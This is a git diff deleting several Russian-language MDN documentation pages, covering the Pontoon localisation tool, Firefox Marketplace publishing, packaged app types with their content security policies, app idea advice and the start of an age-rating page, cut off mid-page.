-<p><strong>Вы являетесь разработчиком?</strong> Прочитайте статью <a href="/en-US/docs/Implementing_Pontoon_Mozilla">Добавление системы Pontoon на ваш сайт</a> или узнайте, как принять участие в разработке проекта на сайте <a href="https://github.com/mozilla/pontoon">GitHub</a>.</p>
-</div>
-
-<h2 id="Первые_шаги">Первые шаги</h2>
-
-<p><a href="https://pontoon.mozilla.org" title="https://pontoon.mozilla.org">Домашняя страница системы Pontoon</a> элементарна в работе. Для того, чтобы начать локализацию проекта, нажмите на картинку пользователя (справа-сверху) и авторизуйтесь в системе (<em>Sign in</em>). Далее выберите проект, над которым хотите работать, и желаемый язык в выпадающем меню. Pontoon автоматически откроет проект, и можно начинать работу. Заметьте, что мы будем использовать для демонстрации функций Pontoon сайт <a href="https://advocacy.mozilla.org/en-US">Mozilla Advocacy</a>. Откроем этот сайт в системе Pontoon:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14071/start2-new.PNG" style="height: 646px; width: 1270px;"></p>
-
-<h3 id="Главная_панель_инструментов">Главная панель инструментов</h3>
-
-<p>Как видите, часть интерфейса - это непосредственно сама веб-страница, которая в данный момент переводится. Системе Pontoon принадлежит панель инструментов вверху экрана, содержащая следующие элементы (слева направо), а также список переводимых строк. Панель инструментов:</p>
-
-<p><img alt=""></p>
-
-<h4 id="Выбор_языка_(Russian_ru)">Выбор языка (<code>Russian ru</code>)</h4>
-
-<p>Выбор языка, на который необходимо перевести проект</p>
-
-<h4 id="Выбор_проекта_(Mozilla_Advocacy)">Выбор проекта (<code>Mozilla Advocacy</code>)</h4>
-
-<p>Переключение между проектами (сайтами)</p>
-
-<h4 id="Выбор_переводимого_ресурса_сайта_(Direct_1)">Выбор переводимого ресурса сайта (<code>Direct 1</code>)</h4>
-
-<p>Переключение между разными ресурсами проекта, например, страницы, файлы. Если ресурсов нет, то данная секция скрывается</p>
-
-<h4 id="sect1"><span id="cke_bm_941S" style="display: none;"> </span></h4>
-
-<dl>
-</dl>
-
-<h4 id="Go">Go</h4>
-
-<p>Открывает ресурс</p>
-
-<h4 id="Индикатор_прогресса_(100)">Индикатор прогресса (<code>100%</code>)</h4>
-
-<p>Показывает процент переведённого текста</p>
-
-<dl>
-</dl>
-
-<h4 id="Меню_пользователя"><span id="cke_bm_943S" style="display: none;"> </span>Меню пользователя</h4>
-
-<p>Содержит дополнительное меню: настройки профиля пользователя, справку, возможность скачать файлы и другое.</p>
-
-<p><span id="cke_bm_608E" style="display: none;"> </span></p>
-
-<dl>
-</dl>
-
-<h2 id="Перевод_строк">Перевод строк</h2>
-
-<p>При использовании Pontoon у вас есть несколько способов для перевода. Можно переводить способами "в контексте", "вне контекста" или комбинированным способом.</p>
-
-<h3 id="В_контексте">В контексте</h3>
-
-<p>Открывается веб-страница и предоставляется возможность редактировать её в реальном времени. Пример:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14073/in-context%20translate2-new.PNG" style="height: 646px; width: 1268px;"></p>
-
-<ol>
- <li>Наведите курсор мыши на текст, который хотите перевести.</li>
- <li>Появится кнопка "карандаш" над текстом. Кликните её.</li>
- <li>В окне слева введите перевод.</li>
- <li>Нажмите кнопку "Suggest" для сохранения.</li>
-</ol>
-
-<div>
-<h3 id="Вне_контекста">Вне контекста</h3>
-
-<p>Некоторые элементы невозможно перевести прямо на странице способом "в контексте", например, содержимое тега &lt;title&gt; на веб-страницах или строки, которые меняются, в зависимости от формы множественного употребления (одна книга, две книги и т.д.). Кликая на элементы панели, появившейся слева, вы выбираете тот, который необходимо перевести. При указании элемента, справа откроется окно редактирования:</p>
-
-<p><img alt=""></p>
-
-<ol>
- <li>В левой части экрана кликните в строку, которую надо перевести.</li>
- <li>В правой части откроется панель перевода с оригинальным текстом и областью для ввода перевода.</li>
- <li>Введите переведённый текст.</li>
- <li>Нажмите кнопку "Suggest" для сохранения.</li>
-</ol>
-
-<p>Когда вы переводите <em>вне контекста</em>, то перевод также появится на сайте, как если бы вы переводили <em>в контексте</em>.</p>
-
-<h3 id="Помощники_для_перевода">Помощники для перевода</h3>
-</div>
-
-<p>Как вы видите, история перевода, машинный перевод и перевод на другие языки доступны во время перевода на панели во вкладках. Это помощники перевода. Как они вам могут помочь:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/14065/translation-helpers-history-new.PNG"><img alt="" src="https://mdn.mozillademos.org/files/14067/translation-helpers-machine-new.PNG" style="height: 250px; width: 629px;"><img alt="" src="https://mdn.mozillademos.org/files/14069/translation-helpers-locales-new.PNG" style="height: 275px; width: 625px;"></p>
-
-<h4 id="History">History</h4>
-
-<p>Показывает предыдущие переводы, включая варианты от других пользователей.</p>
-
-<h4 id="Machinery">Machinery</h4>
-
-<p>Показывает варианты переводов от автоматизированных сервисов: общая память предыдущих переводов, <a href="http://transvision.mozfr.org/">Mozilla Transvision</a>, <a href="https://amagama-live.translatehouse.org/">open source translation memory</a>, <a href="http://www.microsoft.com/Language/">Microsoft terminology</a> и <a href="http://www.bing.com/translator">бинг</a>.</p>
-
-<h4 id="Locales">Locales</h4>
-
-<p>Показывает соответствующие переводы из других языков.</p>
-
-<p>По клику одного из предложений в этих вкладках, перевод копируется в область текста-перевода.</p>
-
-<dl>
-</dl>
-
-<h2 id="Публикация_перевода">Публикация перевода</h2>
-
-<p>Предположим, вы хотите опубликовать ваш перевод (<em>l10n-труд</em>), закоммитив его в репозиторий. Система Pontoon вам это позволяет! На самом деле она автоматически синхронизируется каждый час. Теперь вы можете отдохнуть и отпраздновать сделанную работу!</p>
diff --git a/files/ru/mozilla/marketplace/index.html b/files/ru/mozilla/marketplace/index.html
deleted file mode 100644
index 5986dd873e..0000000000
--- a/files/ru/mozilla/marketplace/index.html
+++ /dev/null
@@ -1,103 +0,0 @@
----
-title: Firefox Marketplace
-slug: Mozilla/Marketplace
-tags:
- - B2G
- - Marketplace
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Mozilla/Marketplace
----
-<div class="summary">Firefox Marketplace является открытым и неимущественным Интернет-рынком веб-приложений". В этой зоне вы найдете все сведения, необходимые для подготовки и публикации приложений на Firefox Marketplace. Узнайте о том, как сделать приложения успешным, варианты доставки, монетизация, публикации и обновления приложений, библиотек и API, чтобы использовать особенности Marketplace.</div>
-
-<div class="column-container">
-<p>Mozilla приносит свои основные ценности - открытость, свобода, выбор для пользователя - миру публикации приложений.</p>
-
-<p>Используя стандартные Web-технологии, языки и инструменты Firefox Marketplace позволяет Вам публиковать платные и бесплатные приложения. Эти приложения могут быть упакованы, работает в Firefox, или, размещенные на вашем веб-сервере. Опубликованные приложения доступны для пользователей Firefox на компьютерах, устройствах Android и Firefox OS телефонов где бы они ни находились в мире. Находить ваши приложения можно легко в Firefox Marketplace, используя рекомендуемые разделы " приложения", приложение категориям и мощный поиск. Пользователь затем может установить бесплатные приложения мгновенно, или покупать платные приложения с растущей поддержкой кредитной карты платежи и биллинг оператора.</p>
-</div>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 class="Community" id="Community" name="Community">Publishing your app</h2>
-
-<dl>
- <dt><a href="/en-US/Marketplace/Publishing/Publish_options">App publishing options</a></dt>
- <dd>After you've build an Open Web App, there are different options available for publishing it out to the world. This article explains what's available.</dd>
- <dt><a href="/en-US/Marketplace/Submission/Submitting_an_app">Submitting an app to the Firefox Marketplace</a></dt>
- <dd>A detailed guide for those wanting to publish an app on the Firefox Marketplace.</dd>
- <dt><a href="/en-US/Apps/Publishing/General_app_publishing_topics">General app publishing topics</a></dt>
- <dd>General information and useful tips on open web app publishing.</dd>
- <dt><a href="/en-US/Marketplace/Marketplace_APIs">Firefox Marketplace APIs</a></dt>
- <dd>Links to the main reference guides covering Mozilla's Firefox Marketplace APIs, with which you can configure app payment accounts, automate app submissions, and more.</dd>
-</dl>
-</div>
-
-<div class="section">
-<h2 class="Community" id="Community" name="Community">Monetization</h2>
-
-<dl>
- <dt><a href="/en-US/Marketplace/Monetization/Profiting_from_your_app">Profiting from your app</a></dt>
- <dd>You've worked hard on coding your latest app, but how can you get something back when publishing it? This article provides a detailed introduction to implementing app payments, including Marketplace payments and in-app payments.</dd>
-</dl>
-
-<h2 class="Tools" id="Tools" name="Tools">Tools for app developers</h2>
-
-<ul>
- <li><a href="/en-US/Firefox_OS/Using_the_App_Manager">Firefox OS App Manager</a></li>
- <li><a href="/en-US/Apps/App_developer_tools">App developer tools</a></li>
-</ul>
-
-<h2 id="Creating_your_own_marketplace">Creating your own marketplace</h2>
-
-<dl>
- <dt><a href="/en-US/Marketplace/Creating_a_store">Creating a store</a></dt>
- <dd>You don't have to use the Firefox Marketplace to distribute your app.</dd>
-</dl>
-</div>
-</div>
-
-<h2 id="Subnav">Subnav</h2>
-
-<ol>
- <li><a href="/en-US/Marketplace/Submission">App Submission &amp; Review</a>
-
- <ol>
- <li><a href="/en-US/Marketplace/Submission/Submitting_an_app" title="This step-by-step guide will help you successfully submit your app to the Firefox Marketplace.">Submitting an app to the Firefox Marketplace</a></li>
- <li><a href="/en-US/Marketplace/Submission/Rating_Your_Content">Obtaining a rating for your app</a></li>
- <li><a href="/en-US/Marketplace/Submission/Marketplace_review_criteria" title="An explanation of the criteria an app must meet in order to be published on the Firefox Marketplace">Marketplace review criteria</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Marketplace_screenshot_criteria" title="Some guidelines on how to create an effective screenshot for marketplace submission">Marketplace screenshot criteria</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Privacy_policies" title="Your users' privacy is very important, so you need to develop and adhere to a reasonable privacy policy to engender their trust. This article provides a guide to developing privacy policies.">Privacy policy</a></li>
- <li><a href="/en-US/Marketplace/Submission/Testing_and_troubleshooting">App testing and troubleshooting</a></li>
- </ol>
- </li>
- <li><a href="/en-US/Marketplace/Publishing">App Publishing</a>
- <ol>
- <li><a href="/en-US/Marketplace/Publishing/Publish_options" title="If you don't want to go the Firefox Marketplace route, here is some useful information on self-publishing apps.">Publishing options</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Packaged_apps" title="A detailed description of packaged apps, what the different types entail, and what they are used for in the context of the Firefox Marketplace, and self-published apps.">Packaged Apps</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Updating_apps" title="Information about how both hosted and packaged app updates are handled, and what you need to do to ensure that your app properly supports updating.">Updating apps</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Open_web_apps_for_android">Open Web Apps for Android</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Open_web_apps_for_desktop">Open Web Apps for Desktop</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Adding_a_subdomain" title="For security reasons, each app must have its own domain (or subdomain) on the Web. This article covers how to go about creating a subdomain for your app.">Adding a subdomain for an app</a></li>
- <li><a href="/en-US/Marketplace/Publishing/Creating_a_store" title="Information that may be helpful to you if you want to build your own store for selling and distributing Open Web Apps.">Creating a store</a></li>
- </ol>
- </li>
- <li><a href="/en-US/Marketplace/Monetization">Monetization</a>
- <ol>
- <li><a href="/en-US/Marketplace/Monetization/Profiting_from_your_app" title="This guide contains introductory materials on how to monetize your apps, including tools needed, and a monetization calculator.">Profiting from your app</a></li>
- <li><a href="/en-US/Marketplace/Monetization/App_payments_guide">App payments guide</a></li>
- <li><a href="/en-US/Marketplace/Monetization/In-app_payments" title="A guide to implementing support for in-app payments in your Web app.">In-app payments</a></li>
- <li><a href="/en-US/Marketplace/Monetization/validating_a_receipt" title="A guide to when—and how—to validate your app's purchase receipt.">Validating a receipt</a></li>
- <li><a href="/en-US/Marketplace/Monetization/App_pricing" title="A round up of fixed price points you can choose for your paid apps, and how these vary across different currencies, along with useful supporting information on dealing with app payments.">App pricing list</a></li>
- <li><a href="/en-US/Marketplace/Monetization/Payments_Status" title="An at-a-glance summary of what countries have got our app payment services set up in them — where paid apps can be distributed">Payments Status</a></li>
- </ol>
- </li>
- <li><a href="/en-US/Marketplace/APIs">Marketplace APIs</a>
- <ol>
- <li><a href="/en-US/Marketplace/APIs/Marketplace_utility_library" title="To help you work with the Firefox Marketplace, we provide a JavaScript library you can use in your apps to make it easier to handle in-app payments and verify payment receipts.">Marketplace utility library</a></li>
- <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/submission.html" title="The Submission API lets you validate your app, update your app, and fetch information about the apps available to be installed.">Submission API</a></li>
- <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/payment.html" title="The Payment API lets you get information about and process in-app purchases as well as to simply get information about what pricing tiers are available.">Payment API</a></li>
- <li><a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/overview.html" title="All Marketplace-related documentation is centered here.">Marketplace API</a></li>
- </ol>
- </li>
- <li><a href="/en-US/Marketplace/FAQ">Firefox Marketplace FAQ</a></li>
-</ol>
diff --git a/files/ru/mozilla/marketplace/options/packaged_apps/index.html b/files/ru/mozilla/marketplace/options/packaged_apps/index.html
deleted file mode 100644
index fdbe9eeb05..0000000000
--- a/files/ru/mozilla/marketplace/options/packaged_apps/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: Упакованные приложения
-slug: Mozilla/Marketplace/Options/Packaged_apps
-translation_of: Archive/Mozilla/Marketplace/Options/Packaged_apps
----
-<div class="summary">
- <p><span class="seoSummary">A <strong>packaged app</strong> is an Open Web App that has all of its resources (HTML, CSS, JavaScript, app manifest, and so on) contained in a zip file, instead of having its resources on a Web server. This article provides an introduction to packaged apps and links to everything you need to know about packaged apps from a developer standpoint.</span></p>
-</div>
-<p>A packaged app is zip file that contains all the resources that enable an Open Web App to function, along with an <a href="/en-US/docs/Web/Apps/Manifest">app manifest</a> in the zip's root directory. The app manifest provides details about the app such as its description, icons used to identify the installed app and such. The package is then used to install the app to Firefox OS devices, <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Android devices</a> and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">desktops</a>. Once installed the app runs on the device, but is still able to access resources on the Web, such as a database on a Web server.</p>
-<p>There are three <a href="#types_of_packaged_apps">types of packaged apps</a>: web app, privileged app and certified app. While packaged apps can be used to deliver any type of Open Web App, privileged and certified apps are digitally signed to enable the use of <a href="/en-US/Apps/Build/App_permissions">privileged and certified APIs</a>. Privileged apps are signed as part of the Marketplace review process, while certified apps are signed by device manufacturers or operators.</p>
-<p>In addition to their ability to use privileged and certified APIs, packaged apps offer users a faster first start response as all the of the app's resources are available on the device after installation. These feature makes packaged apps the recommended approach for delivering Open Web Apps to Firefox OS devices, <a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Android devices</a> and <a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">desktops</a>.</p>
-<div class="note">
- <p><strong>Примечание:</strong> Currently the Firefox Marketplace supports web and privileged packaged apps. In addition, Firefox Marketplace supports paid packaged apps for Firefox OS only and free packaged apps for Firefox OS, Firefox for Android and Firefox for Desktop. Support for paid apps on all platforms is under development.</p>
-</div>
-<h2 id="Виды_упакованных_приложений"><a name="types_of_packaged_apps">Виды упакованных приложений</a></h2>
-<p>There are three types of packaged apps: web apps, privileged apps and certified app. Each type of packaged app corresponds to a level of the <a href="https://developer.mozilla.org/en-US/Firefox_OS/Security/Security_model#App_Security">App Security</a> model implemented in Firefox OS. This section provides more information on each.</p>
-<h3 id="Веб-приложение">Веб-приложение</h3>
-<p>A web app is one that doesn't make use of privileged or internal (certified) APIs. When submitted to Marketplace the app's package is signed, but the special authentication process used for privileged or internal apps isn't performed. Web apps therefore cannot use privileged or internal APIs. These apps are not subject to the <a href="/en-US/Apps/CSP">Content Security Policies</a> (CSPs) required for privileged and internal apps.</p>
-<p>This type of packaged app doesn't require the <code>type</code> field in its <code>manifest.webapp</code> file, because the default value for <code>type</code> (<code>web</code>) is correct.</p>
-<div class="note">
- <p><strong>Примечание</strong>: Web apps may be <a href="/en-US/Marketplace/Options/Self_publishing">self-published</a> or distributed through the Firefox Marketplace.</p>
-</div>
-<div class="note">
- <p><strong>Примечание</strong>: Web apps can also be delivered using the <a href="/en-US/Marketplace/Options/Hosted_apps">Hosted app</a> mechanism.</p>
-</div>
-<h3 id="Приложение_с_привелегиями">Приложение с привелегиями</h3>
-<p>A privileged app is one that makes use of privileged APIs and can be considered as the equivalent of a native app on platforms such as iOS and Android. When submitted to the Firefox Marketplace, privileged apps are approved using a special process. This process gives users of the app a level of assurance that the app has been carefully reviewed for potential security, privacy, and capability issues.</p>
-<p>To specify that an app is a privileged app, add the <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> field to its <code>manifest.webapp</code> file and set its value to <code>privileged</code>. Every privileged API your app needs to access  must be added to the <code>permissions</code> field in the <a href="/en-US/docs/Web/Apps/Manifest">app's manifest</a>.</p>
-<p>Firefox OS and the Web runtimes for Android and desktops enforces the following <a href="/en-US/docs/Security/CSP/Introducing_Content_Security_Policy">CSP</a> for privileged apps:</p>
-<pre class="brush: js">"default-src *; script-src 'self'; object-src 'none'; style-src 'self' 'unsafe-inline'"</pre>
-<div class="note">
- <p><strong>Примечание</strong>: Privileged apps may be distributed through the Firefox Marketplace only.</p>
-</div>
-<h3 id="Internal_(Certified)_apps">Internal (Certified) apps</h3>
-<div class="geckoVersionNote">
- <p>Internal apps are not generally available for being created by third-party developers and aren't distributed through the Firefox Marketplace. The long term goal for internal APIs is to harden them so they can be made available as privileged APIs. If you've an interest in seeing a particular API made available, please provide feedback on the <a href="https://lists.mozilla.org/listinfo/dev-webapps">dev-webapps</a> mailing list.</p>
-</div>
-<p>An internal app is one that makes used of internal (certified) APIs, which offer access to critical system function such as the default dialer or the system settings app on a device. Compared to to a privileged app, all API permissions in an internal app are implicit, meaning they are enabled without explicit user approval. An internal app must be approved for a device by the OEM or carrier.</p>
-<p>To specify that an app is an internal app, add the <a href="/en-US/docs/Web/Apps/Manifest#type"><code>type</code></a> field to its <code>manifest.webapp</code> file and set it to <code>certified</code>. Every privileged and internal API your app needs to access must be added to the <code>permissions</code> field in the <a href="/en-US/docs/Web/Apps/Manifest">app's manifest</a>.</p>
-<p>Firefox OS implements the following CSP for internal apps:</p>
-<pre class="brush: js">"default-src *; script-src 'self'; object-src 'none'; style-src 'self'"</pre>
-<p>This has the effect of implementing stricter rules for inline CSP for internal compared to privileged apps. If you want to understand the reasoning behind this, see <a href="https://wiki.mozilla.org/Apps/Security#Default_CSP_policy">Default CSP policy</a> and <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=768029">Bug 768029</a>.</p>
-<div class="note">
- <p><strong>Примечание</strong>: Internal apps are preloaded onto devices by OEMs and operators; they are not distributed in any other way.</p>
-</div>
-<div class="note">
- <p><strong>Примечание</strong>: The internal codename for internal apps is certified apps.</p>
-</div>
-<h2 id="Тестирование_упакованных_приложений">Тестирование упакованных приложений</h2>
-<p>To install a packaged app into a Firefox OS Simulator or onto a device for testing purposes, see <a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a>. Alternatively, you can install it on to a device from a Web server by following the steps described in <a href="/en-US/Marketplace/Options/Self_publishing">Publishing apps yourself</a>. Remember that when you publish apps yourself, packaged web apps only can be installed .</p>
-<h2 id="Публикация_упакованных_приложений">Публикация упакованных приложений</h2>
-<p>You have two options for publishing packaged apps: on Firefox Marketplace or self-publishing.</p>
-<h3 id="Публикация_на_Firefox_Marketplace">Публикация на Firefox Marketplace</h3>
-<p>The process for submitting a packaged app to Firefox Marketplace is described in the <a href="/en-US/Marketplace/Publishing">App Publishing</a> section.</p>
-<p>When you submit your packaged app, its zip file is stored on the Marketplace servers, and the Marketplace generates a new manifest called the <strong>mini-manifest</strong> that is based on the app manifest in your packaged app's zip file. When a user installs your app, the mini-manifest is passed to the <a href="/en-US/docs/Web/API/Apps.installPackage"><code>Apps.installPackage()</code></a> function to install the app. The mini-manifest exists for installation and update purposes and isn't used when your app runs.</p>
-<h3 id="Publishing_yourself">Publishing yourself</h3>
-<p>It's possible to publish packaged web apps outside Firefox Marketplace, on your own web server. Details are provided in <a href="/en-US/Marketplace/Options/Self_publishing">Publishing apps yourself</a>.</p>
-<h2 id="Обновление_упакованных_приложений">Обновление упакованных приложений</h2>
-<p>См. <a href="/ru/docs/Mozilla/Marketplace/Publishing/Updating_apps">Обновление приложений</a>.</p>
-<h2 id="Больше_информации">Больше информации</h2>
-<ul>
- <li><a href="/en-US/Firefox_OS/Security/Security_model">Firefox OS security Overview</a></li>
- <li><a href="/en-US/Firefox_OS/Security/Application_security">Application Security</a></li>
- <li><a href="https://github.com/robnyman/Firefox-OS-Boilerplate-App" title="https://github.com/robnyman/Firefox-OS-Boilerplate-App">Firefox OS Boilerplate App</a></li>
-</ul>
-<p> </p>
diff --git a/files/ru/mozilla/marketplace/options/введение/index.html b/files/ru/mozilla/marketplace/options/введение/index.html
deleted file mode 100644
index bdace69444..0000000000
--- a/files/ru/mozilla/marketplace/options/введение/index.html
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Введение — Возможности при публикации
-slug: Mozilla/Marketplace/Options/Введение
-translation_of: Archive/Mozilla/Marketplace/Options/Introduction
----
-<div class="summary">
-<p><span style="font-weight: bold; background-color: rgb(244, 247, 248);">Firefox Marketplace предоставляет возможность публикации приложений, которые легко смогут найти пользователи Firefox OS, Firefox для Android и Firefox для Desktop. Тем не менее, это не единственный способ распространения ваших приложений. В этом разделе вы сможете найти форматы, в которых вы сможете предоставлять свои приложения, механизмы браузеров Firefox, позволяющие приложениям работать на Android и настольных компьютерах, опции для самостоятельной публикации и пути кастомизации вашего Marketplace.</span></p>
-</div>
-
-<h2 id="Варианты_публикации">Варианты публикации</h2>
-
-<dl>
- <dt><a href="/en-US/Marketplace/Options/Packaged_apps">Packaged apps</a></dt>
- <dd>Узнайте о предпочтительном способе доставки приложений, которы даёт вам доступ к привилегированным и защищённым API.</dd>
- <dt><a href="/en-US/Marketplace/Options/Hosted_apps">Hosted apps</a></dt>
- <dd>Узнайте, как сделать приложения доступными с вашего сервера, в то же время давая пользователям преимущества устанавливаемых приложений.</dd>
- <dt><a href="/en-US/Marketplace/Options/Packaged_or_hosted_">Packaged или hosted?</a></dt>
- <dd>Воспользуйтесь этим чеклистом, чтобы определить какой формат лучше подойдет для ваших приложений.</dd>
- <dt><a href="/en-US/Marketplace/Options/Open_web_apps_for_android">Open Web Apps дя Android</a></dt>
- <dd>Теперь приложения из Firefox Marketplace доставляются пользователям Android через APK, давая возможность установить и использовать ваше приложение так же, как любое другое приложение под Android. Узнайте, как это делается.</dd>
- <dt><a href="/en-US/Marketplace/Options/Open_web_apps_for_desktop">Open Web Apps для десктопа</a></dt>
- <dd>Open Web Apps теперь можно установить на Windows, Mac и Linux PCs через браузер Firefox для Desktop, позволяя пользователям запускать приложение так же, как любые другие. Узнайте, как это делается.</dd>
- <dt><a href="/en-US/Marketplace/Options/Self_publishing">Публикуйте приложения самостоятельно</a></dt>
- <dd>Иногда вам понадобится опубликовать приложение вне Firefox Marketplace, возможно для тестов или дистрибуции в вашей компании. Узнайте о возможных вариантах и как их реализовать.</dd>
- <dt><a href="/en-US/Marketplace/Options/Creating_a_store">Создайте свой Marketplace</a></dt>
- <dd>Публикуете ли приложения в Firefox Marketplace или самостоятельно, у вас есть множество вариантов для представления их в магазине. В этой секции мы рассмотрим эти варианты и как их воплотить в жизнь.</dd>
- <dt> </dt>
- <dd> </dd>
-</dl>
-
-<p> </p>
diff --git a/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html b/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html
deleted file mode 100644
index bf1a717509..0000000000
--- a/files/ru/mozilla/marketplace/prepare/deciding_what_to_build/index.html
+++ /dev/null
@@ -1,35 +0,0 @@
----
-title: Deciding what to build
-slug: Mozilla/Marketplace/Prepare/Deciding_what_to_build
-translation_of: Archive/Mozilla/Marketplace/Prepare/Deciding_what_to_build
----
-<div class="summary">
- <p><span class="seoSummary">Find advice about deciding on the apps and games you’ll create for Firefox Marketplace.</span></p>
-</div>
-<p>In a world where the mantra ‘there will be an app for that’ so often seems to be true, it might seem daunting when it comes to choosing what app to create. However, as the often misquoted former United States Commissioner of Patents Charles Holland Duell said in 1902, “In my opinion, all previous advances in the various lines of invention will appear totally insignificant when compared with those which the present century will witness. I almost wish that I might live my life over again to see the wonders which are at the threshold.” Those words are as true today as they were over 100 years ago.</p>
-<h2 id="Generating_your_idea">Generating your idea</h2>
-<p>So where do you start? Here are some suggestions:</p>
-<ul>
- <li><strong>Something simple</strong> ─ don’t be afraid to start with something you know, even if it embodies the same ideas as apps that are already in the Marketplace. You may want to use your first app as an opportunity to learn the tools and processes, and that’s fine. However, do also consider whether you can offer something unique or better than existing apps, so yours stands out as more than simply a ‘me too’.</li>
- <li><strong>What you know</strong> ─ a hobby, a skill, interest, or sport. These may all offer possibilities for apps that help or inform people with a similar interest.</li>
- <li><strong>Everyday problems</strong> ─ many successful apps address everyday problems. Talk to family, friends, and work colleagues and look out for ‘you must be able to create an app for that’ comments. Also look for activities where information on the internet can be given more meaning because of a user’s location or current activity.</li>
- <li><strong>Missing apps</strong> ─ review the catalog of apps in the Marketplace to identify what might be missing.</li>
- <li><strong>App feedback</strong> ─ don’t overlook the feedback provided on other apps. Within this feedback you’ll come across request from users for enhanced functionality, different features, complaints that some part of the application doesn’t work well, or hints that the user expected the app to do something entirely different. These comments may very well offer inspiration; just be careful that it doesn’t result in a ‘me too’ app.</li>
- <li><strong>App suggestion sites, internet forums, and suchlike</strong> ─ a number of sites provide a way for users to make suggestions for mobile apps. These can also be fruitful sources of ideas, but remember to check the Terms and Conditions before you start creating an app based on an idea you spotted on one of these sites.</li>
- <li><strong>Open APIs</strong> ─ many sites and services offer open APIs that enable you to access their data and services. These range from the APIs to control gadgets through to the data of large governments and independent providers. These offer possibilities for implementing new ways of doing things, performing new tasks with gadgets or presenting data in ways that offers unexpected help to users.</li>
-</ul>
-<h2 id="Validating_your_idea">Validating your idea</h2>
-<p>Whatever the source of your inspiration, you should:</p>
-<ol>
- <li>Confirm the problem you want to solve is a real one and that users will want an app to solve it. There is some excellent advice on this process in the <a href="https://developer.mozilla.org/en-US/Apps/Design/Planning_your_app">Planning Your App</a> page in the Design section of the App Center.</li>
- <li>Compare your idea to apps that are already in the Marketplace and the stores for other platforms. If you find something similar, it’s not a reason to abandon your idea, rather to ask yourself ‘can I do it better?’ You may be able to solve the problem faster, better or in a more fun way ─ ‘building a better mousetrap’ may be just what’s needed.</li>
- <li>Check that you have the necessary rights to create your app. Not all ideas and data are offered in an open way. At one extreme you may have to provide acknowledgements for using them, at the other there may be licensing and cost implications. Make sure you understand these before starting your project.</li>
- <li>check that the technology is available. When a certain kind of app doesn’t exist it could be that the technology you need to implement it simply isn’t available on the target platforms, a supported peripheral or data source.</li>
-</ol>
-<p>But don’t be afraid to experiment. Just because all the advice you get says it’s a bad idea, once implemented and unleashed on mobile users it could strike a chord that no one around you could recognize. In addition, if you first app isn’t a great success you are in good company — Angry Birds was its developer’s 52<sup>nd</sup> game.</p>
-<p>And talking of games, here you have both more challenges and more opportunities. The same options exist in determining a good game to develop. Think about games you played as a child, family games, games you played at school, even local or regional games that may translate to a global audience. Another fruitful avenue to explore is local myths and legends, not only will they help define the game play, but the fact they may seem quirky, odd or strange to a global audience can add to their appeal.</p>
-<p>There may already be millions of apps out there, but there are millions more to come and the unlikeliest sources could just be the genesis of the next big app thing.</p>
-<h2 id="Also_see">Also see:</h2>
-<ul>
- <li>App Center, Design section, <a href="https://developer.mozilla.org/en-US/Apps/Design/Planning_your_app">Planning Your App</a></li>
-</ul>
diff --git a/files/ru/mozilla/marketplace/publishing/submit/index.html b/files/ru/mozilla/marketplace/publishing/submit/index.html
deleted file mode 100644
index 265a1ad776..0000000000
--- a/files/ru/mozilla/marketplace/publishing/submit/index.html
+++ /dev/null
@@ -1,10 +0,0 @@
----
-title: Submit
-slug: Mozilla/Marketplace/Publishing/Submit
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Mozilla/Marketplace/Publishing/Submit
----
-<p>This section describes the process for submitting an app to Firefox Marketplace</p>
-<p>Residual details: <a href="/en-US/Marketplace/Publishing/Submit/Submitting_an_app">https://developer.mozilla.org/en-US/Marketplace/Publishing/Submit/Submitting_an_app</a></p>
diff --git a/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html b/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html
deleted file mode 100644
index 5d2c32191c..0000000000
--- a/files/ru/mozilla/marketplace/publishing/submit/rating_your_content/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Obtaining a rating for your app
-slug: Mozilla/Marketplace/Publishing/Submit/Rating_Your_Content
-translation_of: Archive/Mozilla/Marketplace/Publishing/Submit/Rating_Your_Content
----
-<div class="warning">
-<p>This page is undergoing maintenance.</p>
-</div>
-
-<div class="summary">
-<p>Mozilla has partnered with the <a href="http://globalratings.com">International Age Rating Coalition</a> (IARC) to include age-related content ratings along with all apps.  Because Mozilla cares about users and believes that users should have the opportunity to decide which content is appropriate for them all apps in the Firefox Marketplace will be required to have an IARC rating.  While we love all of our apps, our commitment to this initiative requires any app or game that does not have this rating to be removed from Marketplace after the deadline.  Mozilla has extended the dealine to May 15, 2014 to allow developers ample time to update apps via the free IARC rating tool.</p>
-</div>
-
-<h2 id="About_the_IARC_Rating_Tool">About the IARC Rating Tool</h2>
-
-<p>IARC, a cooperative effort between international rating boards, has introduced a rating tool as a solution to assign content ratings to global, digitally distributed apps and games. By filling out one simple form, you can receive instant rating designations for all participating rating boards.  This not only helps educate your users about content, but also dramatically reduces the costs and hassle associated with obtaining various global content ratings individually.</p>
-
-<h2 id="International_Rating_Systems_Supported">International Rating Systems Supported</h2>
-
